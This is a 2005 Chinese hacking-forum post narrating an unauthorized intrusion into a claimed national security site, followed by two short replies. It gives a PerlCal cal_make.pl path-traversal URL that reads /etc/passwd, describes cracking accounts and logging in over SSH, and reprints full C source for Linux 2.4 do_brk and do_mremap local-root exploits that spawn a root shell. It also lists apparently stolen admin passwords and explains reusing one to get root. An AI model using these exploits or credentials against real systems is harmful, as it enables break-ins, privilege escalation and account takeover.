雏鹰部落

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 2597|回复: 2

[讨论/求助] 非常经典的网络渗透入侵技术发展

[复制链接]
发表于 2005-4-12 18:38:43 | 显示全部楼层 |阅读模式
这篇文章比较长,希望你有耐心看完。我入侵的服务器为国家一个著名安全站点。过程很复杂 经过了1个星期的奋斗。希望多各位有所帮助。 <br>            请耐心看完 :)。其中也有关于社会工程学的。 <br><br><br>            正文 <br><br>            废话不说。开工 <br>            C:&#92;Documents and Settings&#92;Administrator> <br>            ping www.xxx.com <br><br>            Pinging www.xxx.com [192.168.0.252] with 32 bytes of data: <br><br>            Reply from 192.168.0.252: bytes=32 time<10ms TTL=128 <br>            Reply from 192.168.0.252: bytes=32 time<10ms TTL=128 <br>            Reply from 192.168.0.252: bytes=32 time<10ms TTL=128 <br>            Reply from 192.168.0.252: bytes=32 time<10ms TTL=128 <br><br>            Ping statistics for 192.168.0.252: <br>            Packets: Sent = 4, Received = 4, Lost = 0 &#40;0&#37; loss&#41;, <br>            Approximate round trip times in milli-seconds: <br>            Minimum = 0ms, Maximum = 0ms, Average = 0ms <br><br><br>            文章中IP为假的 在这里不公布真正IP <br><br>            看TTL的返回信息判断系统应该不是真的 现在可以改这个 <br><br>            先扫描他看看吧 <br><br>            结果只开了 21 22 80 <br><br>            看来成功率不算打 FTP并没有若口令 80也没什么信息 <br><br>            看来了他站里 发现分有bbs.xxx.com 和 news.xxx.com 而且IP都不一样 看来想办法渗透了。 <br><br>            首先去bbs.xxx.com看看 用的程序似乎是绿盟那样子的 呵呵 似乎没什么漏洞 先放边上。 <br><br>            看看服务器开的端口情况 <br><br>            开了 21 22 80 也没什么漏洞 <br><br>            在看看news.xxx.com <br><br>            经过扫描 判断服务器应该是 NT/2000 <br><br>            21 80 389 1002 3389 <br><br>            基本上也没什么漏洞 21 没若口令 这个是IIS的 检查了一便也没什么漏洞 389 也没什么用 3389 不可能有输入法吧 登陆看看系统 <br><br><br>            2000server的 <br><br>            news.xxx.com用的程序是asp的 想到了SQL注入。不过彻底查看了一下 所有的都过滤了。 <br><br>            有点郁闷了 <br><br>            jswz.xxx.com <br><br>            也是一个分页 不过这个另我非常的意外 用的是cgi的 系统是linux <br><br>            21 22 80 <br><br>            扫了一下有个漏洞 <br><br>            cal_make.pl 看名字有点熟悉 看了一下 不过一直没想起来 <br><br>            去了国外的几个站 终于发现了~~~ <br><br>            Name : PerlCal <br>            About : cal_make.pl of the PerlCal script may allow remote <br>            users&#40;website visitors&#41; to view any file on a webserver <br><br>            &#40;dependingon the user the webserver is running on&#41;. <br><br>            Exploit: <br><br>            _make.pl?&#92;&quot; <br>            target=_blank>http://www.VULNERABLE.com/cgi-bin/cal_make.pl?&#92; <br>            p0=../../../../../../../../../../../../etc/passwd&#37;00 <br>            by: stan &#40;stan@whizkunde.org&#41; <br><br>            呵呵 感谢hack.co.za <br><br>            在浏览器地址栏输入 <br>            _make.pl?p0=../../../../../../../../../../../../../etc/passwd&#37;00&quot; <br>            target=_blank>http://www.xxx.edu/cgi-bin/perlcal/cal_make.pl?p0=../../../../../../../../../../../../../etc/passwd&#37;00 <br><br><br>            好多用户信息 不过这是一个shadow过了passwd 好不容易的机会 不能放弃! <br><br>            想办法 跑这些用户吧~~~ <br><br>            提炼用户名 希望有弱口令 <br><br>            提炼过程大家参考一些资料去吧 <br><br>            一共20多个用户 跑出来了2个 哈哈。。~~ <br><br>            用SSH登陆~ <br><br>            权限似乎非常低 <br><br><br>            用第二个试试 <br><br>            哎 还是一样 <br><br>            看看提升权限吧~~ <br><br>            经过一番折腾 100&#37;确定是rh73 内核Linux kernel 2.4 <br><br>            用do_brk的益出~ <br><br><br>            #include <stdio.h> <br><br><br>            #include <stdlib.h> <br><br><br>            #include <unistd.h> <br><br><br>            char hellc0de[] = <br><br><br>            &quot;&#92;x69&#92;x6e&#92;x74&#92;x20&#92;x67&#92;x65&#92;x74&#92;x75&#92;x69&#92;x64&#92;x28&#92;x29&#92;x20&#92;x7b&#92;x20&#92;x72&#92;x65&quot; <br><br><br><br>            &quot;&#92;x74&#92;x75&#92;x72&#92;x6e&#92;x20&#92;x30&#92;x3b&#92;x20&#92;x7d&#92;x0a&#92;x69&#92;x6e&#92;x74&#92;x20&#92;x67&#92;x65&#92;x74&quot; <br><br><br><br>            &quot;&#92;x65&#92;x75&#92;x69&#92;x64&#92;x28&#92;x29&#92;x20&#92;x7b&#92;x20&#92;x72&#92;x65&#92;x74&#92;x75&#92;x72&#92;x6e&#92;x20&#92;x30&quot; <br><br><br><br>            &quot;&#92;x3b&#92;x20&#92;x7d&#92;x0a&#92;x69&#92;x6e&#92;x74&#92;x20&#92;x67&#92;x65&#92;x74&#92;x67&#92;x69&#92;x64&#92;x28&#92;x29&#92;x20&quot; <br><br><br><br>            &quot;&#92;x7b&#92;x20&#92;x72&#92;x65&#92;x74&#92;x75&#92;x72&#92;x6e&#92;x20&#92;x30&#92;x3b&#92;x20&#92;x7d&#92;x0a&#92;x69&#92;x6e&#92;x74&quot; <br><br><br><br>            &quot;&#92;x20&#92;x67&#92;x65&#92;x74&#92;x65&#92;x67&#92;x69&#92;x64&#92;x28&#92;x29&#92;x20&#92;x7b&#92;x20&#92;x72&#92;x65&#92;x74&#92;x75&quot; <br><br><br><br>            &quot;&#92;x72&#92;x6e&#92;x20&#92;x30&#92;x3b&#92;x20&#92;x7d&#92;x0a&#92;x0/bin/sh&quot;&amp;#59; <br><br><br>            int main&#40;&#41; <br><br><br>            { <br><br><br>            FILE *fp&amp;#59; <br><br><br>            char *offset&amp;#59; <br><br><br>            fp=fopen&#40;&quot;/tmp/own.c&quot;,&quot;w&quot;&#41;&amp;#59; <br><br><br>            fprintf&#40;fp,&quot;&#37;s&quot;,hellc0de&#41;&amp;#59; <br><br><br>            fclose&#40;fp&#41;&amp;#59; <br><br><br>            system&#40;&quot;gcc -shared -o /tmp/own.so /tmp/own.c&amp;#59;rm /tmp/own.c&quot;&#41;&amp;#59; <br><br><br>            system&#40;&quot;LD_PRELOAD=/tmp/own.so /bin/sh&quot;&#41;&amp;#59; <br><br><br>            return 0&amp;#59; <br><br><br>            } <br><br><br>            郁闷 行不通 <br><br>            想别的办法 <br><br>            试试 do_mremap VMA本地权限提升漏洞 <br><br>            Linux内核中mremap&#40;2&#41;系统调用由于没有对函数返回值进行检查,本地攻击者可以利用这个漏洞获得root用户权限。 <br><br>            mremap系统调用被应用程序用来改变映射区段&#40;VMAs&#41;的边界地址。mremap&#40;&#41;系统调用提供对已存在虚拟内存区域调整大小。从VMA区域移动部分虚拟内存到新的区域需要建立一个新的VMA描述符,也就是把由VMA描述的下面的页 <br><br>            面表条目&#40;page table entries&#41;从老的区域拷贝到进程页表中新的位置。 <br><br>            要完成这个任务do_mremap代码需要调用do_munmap&#40;&#41;内部内核函数去清除在新位置中任何已经存在的内存映射,也就是删除旧的虚拟内存映射。不幸的是代码没有对do_munmap&#40;&#41;函数的返回值进行检查,如果可用VMA描述符的最大数已经超出,那么函数调用就可能失败。 <br><br>            :):):) <br><br><br>            #include <stdio.h> <br>            #include <stdlib.h&gt; <br>            #include <br>            #include <br>            #include <br>            #include <br>            #include <br>            #include <br><br>            #include mman.h&gt; <br>            #include <br>            #include <br><br>            #include <br><br><br>            #define str&#40;s&#41; #s <br>            #define xstr&#40;s&#41; str&#40;s&#41; <br><br>            // this is for standard kernels with 3/1 split <br>            #define STARTADDR 0x40000000 <br>            #define PGD_SIZE &#40;PAGE_SIZE * 1024&#41; <br>            #define VICTIM &#40;STARTADDR + PGD_SIZE&#41; <br>            #define MMAP_BASE &#40;STARTADDR + 3*PGD_SIZE&#41; <br><br>            #define DSIGNAL SIGCHLD <br>            #define CLONEFL &#40;DSIGNAL CLONE_VFORK CLONE_VM&#41; <br><br>            #define MREMAP_MAYMOVE &#40; &#40;1UL&#41; &lt;&lt; 0 &#41; <br>            #define MREMAP_FIXED &#40; &#40;1UL&#41; &lt;&lt; 1 &#41; <br><br>            #define __NR_sys_mremap __NR_mremap <br><br><br>            // how many ld.so pages? this is the .text section length &#40;like from <br>            cat <br>            // /proc/self/maps&#41; in pages <br>            #define LINKERPAGES 0x14 <br><br>            // suid victim <br>            static char *suid=&quot;/bin/ping&quot;&amp;#59; <br><br>            // shell to start <br>            static char *launch=&quot;/bin/bash&quot;&amp;#59; <br><br><br>            _syscall5&#40;ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, <br><br>            ulong, e&#41;&amp;#59; <br>            unsigned long sys_mremap&#40;unsigned long addr, unsigned long old_len, <br>            unsigned long new_len, unsigned long flags, <br>            unsigned long new_addr&#41;&amp;#59; <br><br>            static volatile unsigned base, *t, cnt, old_esp, prot, victim=0&amp;#59; <br>            static int i, pid=0&amp;#59; <br>            static char *env[2], *argv[2]&amp;#59; <br>            static ulong ret&amp;#59; <br><br><br>            // code to appear inside the suid image <br>            static void suid_code&#40;void&#41; <br>            { <br>            __asm__&#40; <br>            &quot; call callme &#92;n&quot; <br><br>            // setresuid&#40;0, 0, 0&#41;, setresgid&#40;0, 0, 0&#41; <br>            &quot;jumpme: xorl &#37;ebx, &#37;ebx &#92;n&quot; <br>            &quot; xorl &#37;ecx, &#37;ecx &#92;n&quot; <br>            &quot; xorl &#37;edx, &#37;edx &#92;n&quot; <br>            &quot; xorl &#37;eax, &#37;eax &#92;n&quot; <br>            &quot; mov $&quot;xstr&#40;__NR_setresuid&#41;&quot;, &#37;al &#92;n&quot; <br>            &quot; int $0x80 &#92;n&quot; <br>            &quot; mov $&quot;xstr&#40;__NR_setresgid&#41;&quot;, &#37;al &#92;n&quot; <br>            &quot; int $0x80 &#92;n&quot; <br><br>            // execve&#40;launch&#41; <br>            &quot; popl &#37;ebx &#92;n&quot; <br>            &quot; andl $0xfffff000, &#37;ebx &#92;n&quot; <br>            &quot; xorl &#37;eax, &#37;eax &#92;n&quot; <br>            &quot; pushl &#37;eax &#92;n&quot; <br>            &quot; movl &#37;esp, &#37;edx &#92;n&quot; <br>            &quot; pushl &#37;ebx &#92;n&quot; <br>            &quot; movl &#37;esp, &#37;ecx &#92;n&quot; <br>            &quot; mov $&quot;xstr&#40;__NR_execve&#41;&quot;, &#37;al &#92;n&quot; <br>            &quot; int $0x80 &#92;n&quot; <br><br>            // exit <br>            &quot; xorl &#37;eax, &#37;eax &#92;n&quot; <br>            &quot; mov $&quot;xstr&#40;__NR_exit&#41;&quot;, &#37;al &#92;n&quot; <br>            &quot; int $0x80 &#92;n&quot; <br><br>            &quot;callme: jmp jumpme &#92;n&quot; <br>            &#41;&amp;#59; <br>            } <br><br><br>            static int suid_code_end&#40;int v&#41; <br>            { <br>            return v+1&amp;#59; <br>            } <br><br><br>            static inline void get_esp&#40;void&#41; <br>            { <br>            __asm__&#40; <br>            &quot; movl &#37;&#37;esp, &#37;&#37;eax &#92;n&quot; <br>            &quot; andl $0xfffff000, &#37;&#37;eax &#92;n&quot; <br>            &quot; movl &#37;&#37;eax, &#37;0 &#92;n&quot; <br>            : : &quot;m&quot;&#40;old_esp&#41; <br>            &#41;&amp;#59; <br>            } <br><br><br>            static inline void cloneme&#40;void&#41; <br>            { <br>            __asm__&#40; <br>            &quot; pusha &#92;n&quot; <br>            &quot; movl $&#40;&quot;xstr&#40;CLONEFL&#41;&quot;&#41;, &#37;&#37;ebx &#92;n&quot; <br>            &quot; movl &#37;&#37;esp, &#37;&#37;ecx &#92;n&quot; <br>            &quot; movl $&quot;xstr&#40;__NR_clone&#41;&quot;, &#37;&#37;eax &#92;n&quot; <br>            &quot; int $0x80 &#92;n&quot; <br>            &quot; movl &#37;&#37;eax, &#37;0 &#92;n&quot; <br>            &quot; popa &#92;n&quot; <br>            : : &quot;m&quot;&#40;pid&#41; <br>            &#41;&amp;#59; <br>            } <br><br>            static inline void my_execve&#40;void&#41; <br>            { <br>            __asm__&#40; <br>            &quot; movl &#37;1, &#37;&#37;ebx &#92;n&quot; <br>            &quot; movl &#37;2, &#37;&#37;ecx &#92;n&quot; <br>            &quot; movl &#37;3, &#37;&#37;edx &#92;n&quot; <br>            &quot; movl $&quot;xstr&#40;__NR_execve&#41;&quot;, &#37;&#37;eax &#92;n&quot; <br>            &quot; int $0x80 &#92;n&quot; <br>            : &quot;=a&quot;&#40;ret&#41; <br>            : &quot;m&quot;&#40;suid&#41;, &quot;m&quot;&#40;argv&#41;, &quot;m&quot;&#40;env&#41; <br>            &#41;&amp;#59; <br>            } <br><br><br>            static inline void pte_populate&#40;unsigned addr&#41; <br>            { <br>            unsigned r&amp;#59; <br>            char *ptr&amp;#59; <br><br>            memset&#40;&#40;void*&#41;addr, 0x90, PAGE_SIZE&#41;&amp;#59; <br>            r = &#40;&#40;unsigned&#41;suid_code_end&#41; - &#40;&#40;unsigned&#41;suid_code&#41;&amp;#59; <br>            ptr = &#40;void*&#41; &#40;addr + PAGE_SIZE&#41;&amp;#59; <br>            ptr -= r+1&amp;#59; <br>            memcpy&#40;ptr, suid_code, r&#41;&amp;#59; <br>            memcpy&#40;&#40;void*&#41;addr, launch, strlen&#40;launch&#41;+1&#41;&amp;#59; <br>            } <br><br><br>            // hit VMA limit &amp; populate PTEs <br>            static void exhaust&#40;void&#41; <br>            { <br>            // mmap PTE donor <br>            t = mmap&#40;&#40;void*&#41;victim, PAGE_SIZE*&#40;LINKERPAGES+3&#41;, <br>            PROT_READ PROT_WRITE, <br>            MAP_PRIVATE MAP_ANONYMOUS MAP_FIXED, 0, 0&#41;&amp;#59; <br>            if&#40;MAP_FAILED==t&#41; <br>            goto failed&amp;#59; <br><br>            // prepare shell code pages <br>            for&#40;i=2&amp;#59; ipte_populate&#40;victim + PAGE_SIZE*i&#41;&amp;#59; <br>            i = mprotect&#40;&#40;void*&#41;victim, PAGE_SIZE*&#40;LINKERPAGES+3&#41;, PROT_READ&#41;&amp;#59; <br>            if&#40;i&#41; <br>            goto failed&amp;#59; <br><br>            // lock unmap <br>            base = MMAP_BASE&amp;#59; <br>            cnt = 0&amp;#59; <br>            prot = PROT_READ&amp;#59; <br>            printf&#40;&quot;&#92;n&quot;&#41;&amp;#59; fflush&#40;stdout&#41;&amp;#59; <br>            for&#40;&amp;#59;&amp;#59;&#41; { <br>            t = mmap&#40;&#40;void*&#41;base, PAGE_SIZE, prot, <br>            MAP_PRIVATE MAP_ANONYMOUS MAP_FIXED, 0, 0&#41;&amp;#59; <br>            if&#40;MAP_FAILED==t&#41; { <br>            if&#40;ENOMEM==errno&#41; <br>            break&amp;#59; <br>            else <br>            goto failed&amp;#59; <br>            } <br>            if&#40; !&#40;cnt&#37;512&#41;    cnt&gt;65520 &#41; <br>            printf&#40;&quot;&#92;r MMAP #&#37;d 0x&#37;.8x - 0x&#37;.8lx&quot;, cnt, base, <br>            base+PAGE_SIZE&#41;&amp;#59; fflush&#40;stdout&#41;&amp;#59; <br>            base += PAGE_SIZE&amp;#59; <br>            prot ^= PROT_EXEC&amp;#59; <br>            cnt++&amp;#59; <br>            } <br><br>            // move PTEs &amp; populate page table cache <br>            ret = sys_mremap&#40;victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE, <br><br>            MREMAP_FIXED MREMAP_MAYMOVE, VICTIM&#41;&amp;#59; <br>            if&#40;-1==ret&#41; <br>            goto failed&amp;#59; <br><br>            munmap&#40;&#40;void*&#41;MMAP_BASE, old_esp-MMAP_BASE&#41;&amp;#59; <br>            t = mmap&#40;&#40;void*&#41;&#40;old_esp-PGD_SIZE-PAGE_SIZE&#41;, PAGE_SIZE, <br>            PROT_READ PROT_WRITE, MAP_PRIVATE MAP_ANONYMOUS MAP_FIXED, 0, <br>            0&#41;&amp;#59; <br>            if&#40;MAP_FAILED==t&#41; <br>            goto failed&amp;#59; <br><br>            *t = *&#40;&#40;unsigned *&#41;old_esp&#41;&amp;#59; <br>            munmap&#40;&#40;void*&#41;VICTIM-PAGE_SIZE, old_esp-&#40;VICTIM-PAGE_SIZE&#41;&#41;&amp;#59; <br>            printf&#40;&quot;&#92;n[+] Success&#92;n&#92;n&quot;&#41;&amp;#59; fflush&#40;stdout&#41;&amp;#59; <br>            return&amp;#59; <br><br>            failed: <br>            printf&#40;&quot;&#92;n[-] Failed&#92;n&quot;&#41;&amp;#59; fflush&#40;stdout&#41;&amp;#59; <br>            _exit&#40;0&#41;&amp;#59; <br>            } <br><br><br>            static inline void check_kver&#40;void&#41; <br>            { <br>            static struct utsname un&amp;#59; <br>            int a=0, b=0, c=0, v=0, e=0, n&amp;#59; <br><br>            uname&#40;&amp;un&#41;&amp;#59; <br>            n=sscanf&#40;un.release, &quot;&#37;d.&#37;d.&#37;d&quot;, &amp;a, &amp;b, &amp;c&#41;&amp;#59; <br>            if&#40;n!=3    a!=2&#41; { <br>            printf&#40;&quot;&#92;n[-] invalid kernel version string&#92;n&quot;&#41;&amp;#59; <br>            _exit&#40;0&#41;&amp;#59; <br>            } <br><br>            if&#40;b==2&#41; { <br>            if&#40;c&lt;=25&#41; <br>            v=1&amp;#59; <br>            } <br>            else if&#40;b==3&#41; { <br>            if&#40;c&lt;=99&#41; <br>            v=1&amp;#59; <br>            } <br>            else if&#40;b==4&#41; { <br>            if&#40;c&gt;18 &amp;&amp; c&lt;=24&#41; <br>            v=1, e=1&amp;#59; <br>            else if&#40;c&gt;24&#41; <br>            v=0, e=0&amp;#59; <br>            else <br>            v=1, e=0&amp;#59; <br>            } <br>            else if&#40;b==5 &amp;&amp; c&lt;=75&#41; <br>            v=1, e=1&amp;#59; <br>            else if&#40;b==6 &amp;&amp; c&lt;=2&#41; <br>            v=1, e=1&amp;#59; <br><br>            printf&#40;&quot;&#92;n[+] kernel &#37;s vulnerable: &#37;s exploitable &#37;s&quot;, <br>            un.release, v? &quot;YES&quot; : &quot;NO&quot;, e? &quot;YES&quot; : &quot;NO&quot; &#41;&amp;#59; <br>            fflush&#40;stdout&#41;&amp;#59; <br><br>            if&#40;v &amp;&amp; e&#41; <br>            return&amp;#59; <br>            _exit&#40;0&#41;&amp;#59; <br>            } <br><br><br>            int main&#40;int ac, char **av&#41; <br>            { <br>            // prepare <br>            check_kver&#40;&#41;&amp;#59; <br>            memset&#40;env, 0, sizeof&#40;env&#41;&#41;&amp;#59; <br>            memset&#40;argv, 0, sizeof&#40;argv&#41;&#41;&amp;#59; <br>            if&#40;ac&gt;1&#41; suid=av[1]&amp;#59; <br>            if&#40;ac&gt;2&#41; launch=av[2]&amp;#59; <br>            argv[0] = suid&amp;#59; <br>            get_esp&#40;&#41;&amp;#59; <br><br>            // mmap &amp; clone &amp; execve <br>            exhaust&#40;&#41;&amp;#59; <br>            cloneme&#40;&#41;&amp;#59; <br>            if&#40;!pid&#41; { <br>            my_execve&#40;&#41;&amp;#59; <br>            } else { <br>            waitpid&#40;pid, 0, 0&#41;&amp;#59; <br>            } <br><br>            return 0&amp;#59; <br>            } <br><br><br>            耶~~~~成功了 <br>            整理了一些东西 然后看看有什么可以利用的信息没。 呵呵mailuserinfo 看看这里写的什么 <br>            ~ <br><br>            admin e04i9zs8#$&#37; <br>            kelzr zjjjwoai22@ <br>            sunzsdk 2z2z2z2z2z2z2z2z <br>            wollf woainiliaoynx <br><br><br>            记得主站上有这几个管理员~ 去找登陆的地方 <br><br>            www.xxx.com/login.php <br><br>            您的IP未被允许登陆 <br><br>            晕了 <br><br>            用SSH登陆192.168.0.252试试 <br><br>            果然登陆进来了 用户名是kelzr 密码是 woainiliaoynx <br><br>            呵呵 试了2分钟 <br><br>            登陆后发现权限竟然不是root 哭了 <br><br>            试了3个提升权限的竟然没有用 <br><br>            郁闷ING <br><br>            郁闷中发现一个login的记录 是这个机器登陆另一个机器的记录 密码是明文 <br><br>            登陆的是192.168.0.2 用户名admin 密码mozjkelzlf152@ 是FTP登陆 <br><br>            看来是他估计写下来的 <br><br>            我突然冒出个想法 :) <br><br>            断开连接 重新用SSH连接主机 root mozjkelzlf152@ 哈哈进来了 <br><br>            有了权限就好办了 <br><br>            我曾经渗透过好多站都是这样 管理员的密码通用 呵呵 一个机组的密码全都一样! <br><br>            哎~ 大家最好养成一个习惯 尽量避免密码重复 <br><br>
发表于 2005-5-21 17:15:26 | 显示全部楼层
好东西~顶个~
发表于 2012-7-30 09:11:33 | 显示全部楼层
                  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|熊猫同学技术论坛|小黑屋| 网络工程师论坛 ( 沪ICP备09076391 )

GMT+8, 2024-11-21 21:57 , Processed in 0.079187 second(s), 18 queries , Gzip On.

快速回复 返回顶部 返回列表